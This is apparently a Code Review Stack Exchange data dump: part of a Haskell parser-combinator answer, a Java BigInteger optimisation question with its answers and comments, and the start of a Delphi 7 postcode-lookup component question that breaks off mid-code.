matters. For example, you could introduce a combinator like:</p>\n<pre><code>combine :: (a -&gt; b -&gt; c) -&gt; Parser a -&gt; Parser b -&gt; Parser c\ncombine f p q s = case p s of\n Right (x, s') -&gt; case q s' of\n Right (y, s'') -&gt; Right (f x y, s'')\n Left e -&gt; Left e\n Left e -&gt; Left e\n</code></pre>\n<p>Here <code>combine</code> applies two parsers in sequence and -- if they both succeed -- uses a function to combine their results. With this combinator, you can rewrite <code>stringParser</code> as:</p>\n<pre><code>stringParser :: String -&gt; Parser String\nstringParser &quot;&quot; s = Right (&quot;&quot;, s)\nstringParser (u:us) s = combine (:) (charParser u) (stringParser us) s\n</code></pre>\n<p>A <code>satisfy</code> combinator that applies a parser and ensures the result satifies a condition:</p>\n<pre><code>satisfy :: (a -&gt; Bool) -&gt; String -&gt; Parser a -&gt; Parser a\nsatisfy f unexpected p s = case p s of\n Right (x, rest) | f x -&gt; Right (x, rest)\n | otherwise -&gt; Left unexpected\n</code></pre>\n<p>let's you rewrite <code>charParser</code> as:</p>\n<pre><code>charParser :: Char -&gt; Parser Char\ncharParser c = satisfy (==c) unexpected eatParser\n where unexpected x = &quot;Expected &quot; ++ [c] ++ &quot;, but got &quot; ++ [x] ++ &quot; instead.&quot;\n</code></pre>\n<p>These combinators end up being of limited use because not a lot of thought has gone into them. For example, if you try to rewrite <code>varParser</code> using them, you might try something like:</p>\n<pre><code>varParser :: Parser String\nvarParser s = combine (:) (satisfy isLetter unexpected eatParser) varParser s\n where unexpected x = &quot;Expected a letter, but got &quot; ++ [x] ++ &quot; instead.&quot;\n</code></pre>\n<p>but this won't work because the first non-letter character throws an error instead of ending the variable name.</p>\n<p>This is why it's worth learning how to use monads for parsers. A monad is a good fit for the problem of combining parsers together, and it provides a whole host of pre-written combinators that work with any monadic parser. The combinators have been thoughtfully designed, and you rarely find yourself in the situation where you need to write a combinator from scratch, because you can almost always find one that does what you want.</p>\n<p>Anyway, my rewrite of your parser <em>without</em> any combinators would look like this. It uses the <code>Either</code>-based parser type, reorders the nested cases to put &quot;success&quot; first, and cleans up some variable names and redundant cases:</p>\n<pre><code>{-# OPTIONS_GHC -Wall #-}\n\nmodule MonadlessParser where\n\nimport Data.Char\n\ntype Parser a = String -&gt; Either String (a, String)\n\neatParser :: Parser Char\neatParser [] = Left &quot;Unexpected EOF&quot;\neatParser (x:rest) = Right (x, rest)\n\ncharParser :: Char -&gt; Parser Char\ncharParser c s = case eatParser s of\n Right (x, rest) | x == c -&gt; Right (x, rest)\n | otherwise -&gt; Left $ &quot;Expected &quot; ++ [c] ++\n &quot;, but got &quot; ++ [x] ++ &quot; instead.&quot;\n Left e -&gt; Left e\n\nstringParser :: String -&gt; Parser String\nstringParser [] s = Right (&quot;&quot;, s)\nstringParser (u:us) s = case charParser u s of\n Right (_, rest) -&gt; case stringParser us rest of\n Right (_, rest') -&gt; Right (u:us, rest')\n Left e -&gt; Left e\n Left e -&gt; Left e\n\nvarParser :: Parser String\nvarParser s = case eatParser s of\n Right (x, rest)\n | isLetter x -&gt; case varParser rest of\n Right (xs, rest') -&gt; Right (x:xs, rest')\n Left e -&gt; Left e\n _ -&gt; Right ([], s)\n\ndata Expr = Open Expr | Value String deriving (Show, Eq)\nexprParser :: Parser Expr\nexprParser s = case charParser '(' s of\n Right (_, rest) -&gt; case exprParser rest of\n Right (expr, rest') -&gt; case charParser ')' rest' of\n Right (_, rest'') -&gt; Right (Open expr, rest'')\n Left e -&gt; Left e\n Left e -&gt; Left e\n Left _ -&gt; case varParser s of\n Right (x, rest) -&gt; Right (Value x, rest)\n Left e -&gt; Left e\n\nmain :: IO ()\nmain = do\n print $ eatParser &quot;abc&quot; == Right ('a',&quot;bc&quot;)\n print $ charParser 'a' &quot;abc&quot; == Right ('a',&quot;bc&quot;)\n print $ charParser 'b' &quot;abc&quot; == Left &quot;Expected b, but got a instead.&quot;\n print $ stringParser &quot;abc&quot; &quot;abce&quot; == Right (&quot;abc&quot;,&quot;e&quot;)\n print $ stringParser &quot;abc&quot; &quot;abc&quot; == Right (&quot;abc&quot;,&quot;&quot;)\n print $ stringParser &quot;abc&quot; &quot;axbc&quot; == Left &quot;Expected b, but got x instead.&quot;\n print $ varParser &quot;abc&quot; == Right (&quot;abc&quot;,&quot;&quot;)\n print $ varParser &quot;abc2&quot; == Right (&quot;abc&quot;,&quot;2&quot;)\n print $ varParser &quot;abc abc2&quot; == Right (&quot;abc&quot;,&quot; abc2&quot;)\n print $ exprParser &quot;((aa))bc&quot; == Right (Open (Open (Value &quot;aa&quot;)),&quot;bc&quot;)\n print $ exprParser &quot;((aa)b)bc)&quot; == Left &quot;Expected ), but got b instead.&quot;\n</code></pre>\n<p>Writing a monadic version requires two difficult steps. First, you have to make your <code>Parser</code> a <code>newtype</code> and write <code>Monad</code> and related instance for it. This looks like black magic, but you eventually figure out how to do it reliably. Second, you need to learn about all the applicative and monadic combinators and how to use them.</p>\n<p>Once you've done that, the work you put in really pays off. Here's a full monadic version of your parser with comments that try to explain what's going on. Setting aside the ugly monadic instances, most of the parsers themselves are straightforward to write and understand.</p>\n<pre><code>{-# LANGUAGE DeriveFunctor #-}\n{-# OPTIONS_GHC -Wall #-}\n\nmodule MonadParser where\n\n-- a bunch of combinators\nimport Control.Applicative\nimport Control.Applicative.Combinators\nimport Control.Monad\n\n-- just for `isLetter`\nimport Data.Char\n\n-- the hardest part, by far, is writing these instances\nnewtype Parser a = Parser { runParser :: String -&gt; Either String (a, String) }\n deriving (Functor)\ninstance Applicative Parser where\n pure x = Parser $ \\str -&gt; Right (x, str)\n (&lt;*&gt;) = ap\ninstance Monad Parser where\n p &gt;&gt;= f = Parser $ \\str -&gt; case runParser p str of\n Right (x, rest) -&gt; case runParser (f x) rest of\n Right (y, rest') -&gt; Right (y, rest')\n Left e -&gt; Left e\n Left e -&gt; Left e\ninstance MonadFail Parser where\n fail err = Parser $ \\_ -&gt; Left err\ninstance Alternative Parser where\n empty = fail &quot;&lt;empty&gt;&quot;\n p &lt;|&gt; q = Parser $ \\str -&gt; case runParser p str of\n Left _ -&gt; runParser q str\n result -&gt; result\ninstance MonadPlus Parser\n\n-- we need to rewrite `eatParser` to use a `Parser` newtype\neatParser :: Parser Char\neatParser = Parser go\n where go (x:rest) = Right (x, rest)\n go [] = Left &quot;unexpected EOF&quot;\n\n-- a &quot;satisfy&quot; combinator is helpful; we have pre-written combinators for\n-- almost everything else\nsatisfy :: (a -&gt; Bool) -&gt; Parser a -&gt; Parser a\nsatisfy f p = do\n x &lt;- p\n guard (f x)\n return x\n\n-- now the hard word pays off...\n\n-- &quot;satisfy&quot; lets us easily write `charParser`\ncharParser :: Char -&gt; Parser Char\ncharParser c = satisfy (==c) eatParser\n\n-- `mapM` runs `charParser` for each input character and puts the result\n-- together into a list of characters, namely the desired `String`\nstringParser :: String -&gt; Parser String\nstringParser = mapM charParser\n\n-- this parses a single `letter` using `Data.Char.isLetter`\nletterParser :: Parser Char\nletterParser = satisfy isLetter eatParser\n\n-- `some` parses one or more of the given parser into a list (in this case,\n-- a list of characters, so a `String`)\nvarParser :: Parser String\nvarParser = some letterParser -- non-empty variable name\n\n-- the `between` combinator runs a parser between two other parsers; here\n-- `parens p` will run parser `p` between parentheses\nparens :: Parser a -&gt; Parser a\nparens = between (charParser '(') (charParser ')')\n\n-- Here `&lt;$&gt;` just attaches the desired constructor to the return value\n-- from the parsers. The alternation operator `&lt;|&gt;` tries the first parser\n-- and, if it fails, tries the second before giving up.\ndata Expr = Open Expr | Value String deriving (Show, Eq)\nexprParser :: Parser Expr\nexprParser = Open &lt;$&gt; parens exprParser\n &lt;|&gt; Value &lt;$&gt; varParser\n\n-- All the tests still pass\nmain :: IO ()\nmain = do\n print $ runParser eatParser &quot;abc&quot; == Right ('a',&quot;bc&quot;)\n print $ runParser (charParser 'a') &quot;abc&quot; == Right ('a',&quot;bc&quot;)\n print $ runParser (charParser 'b') &quot;abc&quot; == Left &quot;&lt;empty&gt;&quot;\n print $ runParser (stringParser &quot;abc&quot;) &quot;abce&quot; == Right (&quot;abc&quot;,&quot;e&quot;)\n print $ runParser (stringParser &quot;abc&quot;) &quot;abc&quot; == Right (&quot;abc&quot;,&quot;&quot;)\n print $ runParser (stringParser &quot;abc&quot;) &quot;axbc&quot; == Left &quot;&lt;empty&gt;&quot;\n print $ runParser varParser &quot;abc&quot; == Right (&quot;abc&quot;,&quot;&quot;)\n print $ runParser varParser &quot;abc2&quot; == Right (&quot;abc&quot;,&quot;2&quot;)\n print $ runParser varParser &quot;abc abc2&quot; == Right (&quot;abc&quot;,&quot; abc2&quot;)\n print $ runParser exprParser &quot;((aa))bc&quot; == Right (Open (Open (Value &quot;aa&quot;)),&quot;bc&quot;)\n print $ runParser exprParser &quot;((aa)b)bc)&quot; == Left &quot;&lt;empty&gt;&quot;\n</code></pre>\n<p>I hope that example whets your appetite for trying out monadic parsing.</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-17T18:28:29.607", "Id": "500087", "Score": "0", "body": "Wow! I didn't expect such a long and detailed answer! Thanks a lot! :D\nOne thing that I didn't understand is what are `MonadPlus` and `ap`? I couldn't find anything on the internet :(" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-17T21:39:45.497", "Id": "500101", "Score": "0", "body": "`MonadPlus` is an historical artifact from when `Monad` wasn't also an `Applicative`. Nowadays, you probably don't need it for anything, but you get the instance for free if an `Alternative` instance is defined, so there's no harm in just automatically including it. The function `ap` is a default definition for `<*>` that works for anything with a `Monad` instance. It used to be useful on its own (for `Monad`s that weren't `Applicative`s) but now it's really only useful for writing `(<*>) = ap`." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-18T07:00:10.920", "Id": "500119", "Score": "0", "body": "Thank you for the explanation! :D" } ], "meta_data": { "CommentCount": "3", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-16T20:44:11.427", "Id": "253552", "ParentId": "253497", "Score": "2" } } ]
{ "AcceptedAnswerId": "253552", "CommentCount": "3", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-15T09:26:51.037", "Id": "253497", "Score": "2", "Tags": [ "beginner", "parsing", "haskell", "functional-programming" ], "Title": "Simple Haskell Parser" }
253497
<h3>Problem</h3> <p>Reduce the number to 1 in a minimal number of steps, following the rules:</p> <ul> <li>If the number is even, divide it by 2.</li> <li>Otherwise, increment or decrement it by 1.</li> </ul> <p>Limit: <code>s</code> can be up to 309 digits long.</p> <h3>Solution</h3> <pre><code>public static int solution(String s) { BigInteger n = new BigInteger(s); BigInteger one = BigInteger.ONE; BigInteger two = BigInteger.TWO; BigInteger four = new BigInteger(&quot;4&quot;); int count = 0; while (n.compareTo(one) == 1) { count++; if( n.and(one).intValue() == 0 ) n = n.divide(two); else if ( n.intValue() == 3 || n.mod(four).intValue() == 1) n = n.subtract(one); else n = n.add(one); } return count; } </code></pre> <p><strong>Is there a better way to do things binary-operations-wise for this problem?</strong></p> <p>At the moment the choice I am making among these functions:</p> <ul> <li>use <code>n.byteValue()</code> to compare with the integer,</li> <li>or use function <code>n.equals()</code>.</li> </ul> <p>What more can we improve?</p> <hr /> <p>Follow-up question posted <a href="https://codereview.stackexchange.com/questions/253626/folow-up-how-can-we-optimizing-java-biginteger-operations">here</a></p>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-15T16:05:59.103", "Id": "499895", "Score": "3", "body": "Limits and link to the problem please." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-15T16:12:43.557", "Id": "499897", "Score": "0", "body": "@superbrain Thanks. I have added limit in the problem description." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-15T16:16:48.363", "Id": "499898", "Score": "0", "body": "Why keep the source of the problem secret?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-15T16:58:56.630", "Id": "499899", "Score": "0", "body": "My bad @superbrain lol" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-16T08:29:47.083", "Id": "499945", "Score": "0", "body": "Please do not update the code in your question to incorporate feedback from answers, doing so goes against the Question + Answer style of Code Review. This is not a forum where you should keep the most updated version in your question. Please see [What should I do when someone answers my question?](https://codereview.stackexchange.com/help/someone-answers) as well as [_what you may and may not do after receiving answers_](http://meta.codereview.stackexchange.com/a/1765)." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-16T10:07:54.587", "Id": "499959", "Score": "0", "body": "@SᴀᴍOnᴇᴌᴀ. Noted. Thanks." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-16T10:35:14.333", "Id": "499962", "Score": "0", "body": "With the last comments I'm not sure If I want to add this to the original question - How efficient is BigInteger when the input size is int or long? Should there be separate mechanism to handle these primitives? Or How efficient BigInteger handling them?" } ]
[ { "body": "<p>Division of the big integers is a very expensive operation. Even a division by 2 is linear in terms of its length: all bits must be shifted. The overall complexity is <span class=\"math-container\">\\$O(n \\log{n})\\$</span>.</p>\n<p>A natural desire is to not do arithmetics at all, but simulate it. Convert the bigint to byte array, and inspect bits, <em>pretending</em> that you perform arithmetics. In broad strokes, run the loop (starting with <code>cursor = 0</code>) until the number is exhausted:</p>\n<pre><code>if bit(cursor) == 0\n // simulate division\n increment counter\n advance cursor\nelse\n peek next_bit\n if next_bit == 0\n // simulate subtraction\n increment counter by 2\n advance cursor by 2\n else\n // simulate addition\n while next_bit == 1\n increment counter\n advance cursor\n peek next_bit\n advance cursor\n set bit at cursor to 1\n \n</code></pre>\n<p>This touches each bit just once, driving the complexity down to <span class=\"math-container\">\\$O(n)\\$</span>. Care must be taken to correctly terminate the loop.</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-16T05:16:42.517", "Id": "499933", "Score": "0", "body": "Can you explain how theirs is O(n log n)?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-16T05:18:35.430", "Id": "499934", "Score": "0", "body": "@KellyBundy As I said, each division is \\$O(n)\\$, and there are about \\$O(\\log{n})\\$ of them." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-16T05:19:09.823", "Id": "499935", "Score": "0", "body": "Isn't each division O(log n)?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-16T06:16:37.203", "Id": "499939", "Score": "0", "body": "@KellyBundy Perhaps me being sloppy. To quote myself `in terms of its length` : \\$n\\$ in this analysis is not the bigint _value_, but its _length_; the number of bits." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-16T10:52:28.010", "Id": "499963", "Score": "0", "body": "This provides another dimension to solve the problem but looks a bit complicated, may be because I have not worked with Bits. But thank you @vnp for the perspective." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-16T14:11:09.620", "Id": "499973", "Score": "0", "body": "Hmm, the question makes n the value. Better don't use the same name for something else, especially not without saying so. Two different meanings for the same name are just confusing. You even seem to confuse yourself with it: you say there are O(log n) divisions, which is not true if n is the number of bits." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-17T18:14:53.500", "Id": "500082", "Score": "0", "body": "@vnp I still have not worked out on the logic you presented but would love to see some full fledged implementation examples if someone would like have some time, but I definitely am looking for do it myself as well. Thanks." } ], "meta_data": { "CommentCount": "7", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-16T04:25:33.870", "Id": "253527", "ParentId": "253498", "Score": "4" } }, { "body": "<h1>Divide by 2</h1>\n<p>As implemented, the even-test and divide by two operations is very inefficient.</p>\n<p><code>BigInteger</code> provides a <a href=\"https://docs.oracle.com/en/java/javase/15/docs/api/java.base/java/math/BigInteger.html#getLowestSetBit()\" rel=\"nofollow noreferrer\"><code>getLowestSetBit()</code></a> function, which returns &quot;the index of the rightmost (lowest-order) one bit&quot;</p>\n<p>So if <code>n.getLowestSetBit()</code> returns 12, you can evenly divide the value by 2 a total of twelve times, before the least significant bit is set. Instead of actually doing the division by 2 that many times, the <a href=\"https://docs.oracle.com/en/java/javase/15/docs/api/java.base/java/math/BigInteger.html#shiftRight(int)\" rel=\"nofollow noreferrer\"><code>shiftRight(int n)</code></a> function should be used:</p>\n<pre class=\"lang-java prettyprint-override\"><code> while (n.compareTo(one) == 1) {\n\n int zeros = n.getLowestSetBit();\n if (zeros &gt; 0) {\n n = n.shiftRight(zeros);\n count += zeros;\n } else {\n count++;\n if ( n.intValue() == 3 || n.mod(four).intValue() == 1)\n n = n.subtract(one);\n else\n n = n.add(one);\n }\n }\n</code></pre>\n<h1>Mod-4</h1>\n<p>Using <code>n.mod(four).intValue() == 1</code> to test whether the value should be incremented or decremented is also horribly inefficient. Java must actually compute the modulo-4 remainder of the entire number; expecting it to optimize <code>n.mod(four).intValue() == 1</code> into the much faster <code>n.and(three).intValue() == 1</code> is expecting a lot from the optimizer.</p>\n<p>But even computing <code>n.and(three)</code> is too much work! We know <code>n</code> is larger than 1, and that bit #0 is set. If bit #1 is set, then <code>n % 4 == 3</code>; if bit #1 is not set, then <code>n % 4 == 1</code>. And <code>BigInteger</code> also provides the <a href=\"https://docs.oracle.com/en/java/javase/15/docs/api/java.base/java/math/BigInteger.html#testBit(int)\" rel=\"nofollow noreferrer\"><code>testBit(int n)</code></a> function:</p>\n<pre class=\"lang-java prettyprint-override\"><code> if ( n.intValue() == 3 || !n.testBit(1))\n n = n.subtract(one);\n else\n n = n.add(one);\n }\n</code></pre>\n<h1>Possible Bug</h1>\n<p><code>n.intValue() == 3</code></p>\n<p>Since <code>n</code> can have over 300 digits, at any point in the process, the value of <code>n</code> can easily overflow an integer:</p>\n<p>Consider the 33-bit value <code>0x100000003</code>. The number is not 3, but the <code>intValue()</code> of the number is 3.</p>\n<p>You probably want to explicitly test for value <code>BigInteger(3)</code>. Since comparing the entire value may be slower than testing a single bit, you may want to reorder the test to check the bit first.</p>\n<pre class=\"lang-java prettyprint-override\"><code> if ( !n.testBit(1) || n.equals(three) )\n n = n.subtract(one);\n else\n n = n.add(one);\n }\n</code></pre>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-16T19:06:02.997", "Id": "499991", "Score": "0", "body": "Maybe `n.bitCount() == 2` would be a fast \"equals three\" test?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-16T19:48:19.913", "Id": "499996", "Score": "0", "body": "@superbrain Hardly. Counting number of bits different from the sign bit is not likely a fast operation. Besides, it is wrong: `new BigInteger(\"5\").bitCount() == 2`." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-16T19:52:33.517", "Id": "499997", "Score": "0", "body": "Oops, I meant `bitLength`." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-16T20:07:06.423", "Id": "499999", "Score": "0", "body": "@superbrain It may take many cycles to calculate `n.bitLength()` when you have a 300-digit value. Equality comparison usually short-circuits at the first inequality, so is likely faster. I'll admit, I haven't profiled -- I'm just guessing. `n.bitLength() == 2` is true for `2`, `3`, `-3` and `-4`, so that test is **not** an obvious \"equal to 3\" test, despite the problem (probably) restricting the input numbers to positive values, and the previous even-odd test indicating we are on the odd path." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-16T20:08:34.623", "Id": "500000", "Score": "0", "body": "Surely it has the bit length already *stored* and wouldn't go and *calculate* it?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-16T20:14:16.153", "Id": "500001", "Score": "0", "body": "@superbrain The number of bytes (or possibly shorts, ints, or longs, depending on how it is implemented) would be stored. But then the most-significant byte/short/int/long would need to be examined to determine how many bits it had. That could be a lookup table if bytes were used, but anything larger would use too much memory. Depending on the actual CPU architecture, there may be native instructions which would do much of the heavy lifting. The monkey wrench is negative numbers, which would probably require an additional test at the start." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-16T20:23:41.880", "Id": "500002", "Score": "0", "body": "Ah, yes. At least [here](http://hg.openjdk.java.net/jdk/jdk15/file/tip/src/java.base/share/classes/java/math/BigInteger.java#l164), there is a field `bitLengthPlusOne` that [`bitLength`](http://hg.openjdk.java.net/jdk/jdk15/file/tip/src/java.base/share/classes/java/math/BigInteger.java#l3679) looks up, but only if it's already initialized (and looks like that's only done by a previous `bitLength` call)." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-16T20:27:00.107", "Id": "500003", "Score": "0", "body": "Negative numbers are already ruled out by the `while (n.compareTo(one) == 1)`." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-16T20:29:33.373", "Id": "500004", "Score": "0", "body": "Let us [continue this discussion in chat](https://chat.stackexchange.com/rooms/117359/discussion-between-ajneufeld-and-superb-rain)." } ], "meta_data": { "CommentCount": "9", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-16T18:34:54.367", "Id": "253546", "ParentId": "253498", "Score": "3" } }, { "body": "<p>You wrote:</p>\n<blockquote>\n<pre><code> while (n.compareTo(one) == 1) {\n</code></pre>\n</blockquote>\n<p>As <a href=\"https://docs.oracle.com/en/java/javase/15/docs/api/java.base/java/math/BigInteger.html#compareTo(java.math.BigInteger)\" rel=\"nofollow noreferrer\">the documentation</a> says:</p>\n<blockquote>\n<p>This method is provided in preference to individual methods for each of the six boolean comparison operators (<code>&lt;</code>, <code>==</code>, <code>&gt;</code>, <code>&gt;=</code>, <code>!=</code>, <code>&lt;=</code>). The suggested idiom for performing these comparisons is: <code>(x.compareTo(y) &lt;op&gt; 0)</code>, where <code>&lt;op&gt;</code> is one of the six comparison operators.</p>\n</blockquote>\n<p>So that would be:</p>\n<pre><code> while (n.compareTo(one) &gt; 0) {\n</code></pre>\n<p>I also find that much easier to understand. You just need to read the three parts <code>n</code>, <code>one</code> and <code>&gt;</code> and mentally move the <code>&gt;</code> between the operands, i.e., <code>n &gt; one</code>.</p>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-16T19:13:11.507", "Id": "253547", "ParentId": "253498", "Score": "3" } } ]
{ "AcceptedAnswerId": null, "CommentCount": "7", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-15T10:46:07.427", "Id": "253498", "Score": "0", "Tags": [ "java", "performance", "bigint" ], "Title": "How can we optimizing Java BigInteger operations?" }
253498
<p>(I asked this Question in stack<strong>overflow</strong> (Delphi) and they suggested that I try here.</p> <blockquote> <p>Is there a site to submit my Delphi 7 coding to?<br /> Hi I am learning how to build compound components. My latest works fine, but I am wondering if there is a site where I could submit my code and receive feedback.<br /> I would like this feedback to offer better coding practices with explanations so I can learn</p> </blockquote> <p>)</p> <p>I have access to the UK's Royal Postcode Files and use these to help my local Charity's IT dept. I split this file in to over 1,000 files of 30,000 lines each.<br /> In another folder I have A-Z index files. So the B.csv file contains all Postcodes beginning with B. The format of the file is Postcode, File reference ie</p> <pre><code>BA13 3PZ,file46.csv </code></pre> <p>The idea of my component is for the user to type in a Postcode and get the address. My Component searches the 30,000,000 postcodes finds the correct one, the use then picks the correct address and the address is copied to the underlying external database. It works and is fast but as I want to improve I would be grateful for any feedback good or bad.</p> <pre><code>unit BtnPost; interface uses Windows, WinTypes, WinProcs, Messages, SysUtils, Classes, Controls, Forms, Graphics, Extctrls, Eedit, SevenButton, StdCtrls, Dialogs, ESBRtns, DB, DBCtrls, ABSMain; type TBtnPost = class(TPanel) private FOnCtrlBtnClick : TNotifyEvent; FOnHeightChange : TNotifyEvent; FOnAlistClick : TNotifyEvent; FFirst : String; FPost : string; FAddress : TDbMemo; FDset : TABSTable; FFilesPath : String; FIndexPath : String; FOnFirstChange : TNotifyEvent; FileList : TStringList; IndexList : TStringList; RawList : TStringList; procedure AutoInitialize; procedure AutoDestroy; function GetFirst : String; procedure SetFirst(Value : String); function GetPost : String; procedure SetPost(Value : String); function GetAddress : TDbMemo; procedure SetAddress(Value : TDbMemo); function GetDset : TABSTable; procedure SetDset(Value : TABSTable); function GetFilesPath : String; procedure SetFilesPath(Value : String); function GetIndexPath : String; procedure SetIndexPath(Value : String); protected CtrlBtn : TSevenButton; Alist : TListbox; procedure HeightChange(Sender : TObject); virtual; procedure Loaded; override; procedure Paint; override; procedure FirstChange(Sender : TObject); virtual; procedure H_CtrlBtnClick(Sender : TObject); virtual; procedure H_AlistClick(Sender : TObject); virtual; public procedure ListSort(LBox:TStrings); procedure FindPcode(astr:string); procedure MakeMemo(Num:integer); constructor Create(AOwner: TComponent); override; destructor Destroy; override; published Aedit : TEedit; property Post : string read GetPost write SetPost; property Address : TDbMemo read GetAddress write SetAddress; property Dset : TABSTable read GetDset write SetDset; property OnCtrlBtnClick : TNotifyEvent read FOnCtrlBtnClick write FOnCtrlBtnClick; property OnAlistClick : TNotifyEvent read FOnAlistClick write FOnAlistClick; property OnHeightChange : TNotifyEvent read FOnHeightChange write FOnHeightChange; property OnFirstChange : TNotifyEvent read FOnFirstChange write FOnFirstChange; property OnDblClick; property OnDragDrop; property OnEnter; property OnExit; property OnKeyDown; property OnKeyPress; property OnKeyUp; property OnMouseDown; property OnMouseMove; property OnMouseUp; property OnResize; property First : String read GetFirst write SetFirst; property FilesPath : String read GetFilesPath write SetFilesPath; property IndexPath : String read GetIndexPath write SetIndexPath; end; procedure Register; implementation procedure Register; begin RegisterComponents('Samples', [TBtnPost]); end; procedure TBtnPost.AutoInitialize; begin FileList := TStringList.Create; IndexList := TStringList.Create; RawList := TStringList.Create; end; procedure TBtnPost.AutoDestroy; begin Aedit.Free; FileList.Free; IndexList.Free; RawList.Free; end; function TBtnPost.GetFilesPath : String; begin Result := FFilesPath; end; procedure TBtnPost.SetFilesPath(Value : String); begin FFilesPath := Value; end; function TBtnPost.GetIndexPath : String; begin Result := FIndexPath; end; procedure TBtnPost.SetIndexPath(Value : String); begin FIndexPath := Value; end; procedure TBtnPost.H_CtrlBtnClick(Sender : TObject); begin if Assigned(FOnCtrlBtnClick) then FOnCtrlBtnClick(Sender); FPost:=Aedit.Text; FFirst:=LeftStr(FPost,1); SetFirst(FFirst); GetPost; FindPcode(Post); HeightChange(Self); invalidate; end; function TBtnPost.GetFirst : String; begin Result := FFirst; end; procedure TBtnPost.SetFirst(Value : String); begin FFirst := Value; FirstChange(self); end; function TBtnPost.GetPost : String; begin Result := FPost; end; procedure TBtnPost.SetPost(Value : String); begin FPost:= Value; end; function TBtnPost.GetAddress : TDbMemo; begin Result := FAddress; end; procedure TBtnPost.SetAddress(Value : TDbMemo); begin FAddress:= Value; end; function TBtnPost.GetDset : TABSTable; begin Result := FDset; end; procedure TBtnPost.SetDset(Value : TABSTable); begin FDset:= Value; end; procedure TBtnPost.FirstChange(Sender : TObject); begin if Assigned(FOnFirstChange) then FOnFirstChange(Sender); if FIndexPath = '' then begin ShowMessage('No IndexPath. Closing...'); Exit; end else begin IndexList.LoadFromFile(FIndexPath+FFirst+'.csv'); end; end; constructor TBtnPost.Create(AOwner: TComponent); begin inherited Create(AOwner); Aedit := TEedit.Create(Self); CtrlBtn := TSevenButton.Create(Self); Alist := TListBox.Create(Self); Alist.Parent := Self; Alist.Align:=alBottom; Alist.Height:=0; Aedit.Parent := Self; Aedit.CharCase:=ecUpperCase; Aedit.Visible:=True; Height:=30; BevelOuter:=bvNone; Alist.BorderStyle:=bsNone; Alist.BevelOuter:=bvNone; Alist.BevelInner:=bvNone; Alist.ItemHeight := 19; Width := 194; Caption := ''; CtrlBtn.Parent:= Self; CtrlBtn.Caption:='Search'; CtrlBtn.Width:= 64; CtrlBtn.Top:=1; CtrlBtn.OnClick:=H_ctrlbtnclick; Alist.OnClick := H_AlistClick; CtrlBtn.Left:=127; Visible:=True; Aedit.TabOrder:=0; AutoInitialize; end; procedure TBtnPost.HeightChange(Sender : TObject); begin if Assigned(FOnHeightChange) then FOnHeightChange(Sender); if Height = 300 then begin Height:=30; Alist.height:=0; end else begin Height:=300; Alist.height:=Height-35 end; end; procedure TBtnPost.H_AlistClick(Sender : TObject); begin if Assigned(FOnAlistClick) then FOnAlistClick(Sender); MakeMemo(Alist.ItemIndex); HeightChange(Self); end; destructor TBtnPost.Destroy; begin AutoDestroy; inherited Destroy; end; procedure TBtnPost.Loaded; begin inherited Loaded; end; procedure TBtnPost.Paint; begin inherited Paint; end; procedure TBtnPost.ListSort(LBox:TStrings); var i,j, k, m, p1: Integer; slq:TStringList; a, b:string; function GetNPos(sStr: string; iNth: integer): integer; var sTempStr: string; iIteration: integer; iTempPos: integer; iTempResult: integer; sSubStr : string; begin result := 0; sSubStr:=','; if ((iNth &lt; 1) or (sSubStr = '') or (sStr = '')) then exit; iIteration := 0; iTempResult := 0; sTempStr := sStr; while (iIteration &lt; iNth) do begin iTempPos := Pos(sSubStr, sTempStr); if (iTempPos = 0) then exit; iTempResult := iTempResult + iTempPos; sTempStr := Copy(sStr, iTempResult + 1, Length(sStr) - iTempResult); inc(iIteration); end; result := iTempResult; end; function GetNum ( sChaine: String ): Integer ; var i: Integer ; s:string; begin Result := 0 ; for i := 1 to length( sChaine ) do begin if sChaine[ i ] in ['0'..'9'] then s:=s + sChaine[ i ] ; end; Result:=StrToInt(s); end ; begin slq:=TStringList.Create; try slq.Sorted:=True; for k := LBox.Count-1 downto 0 do begin p1:=GetNPos(LBox[k],1);// GetNPos function adapted from Sam's(StackOverFlow) GetPositionofNthOccurence a:=LeftStr(LBox[k],1); //ESBRtns - left string up to 1st character b:=Copy(LBox[k],p1+1,1); if ((a[1] in ['A'..'Z']) or (b[1] in ['A'..'Z'])) then begin slq.Add(LBox[k]); LBox.Delete(k); end; end; for i:=0 to LBox.Count-1 do for j:=i+1 to LBox.Count-1 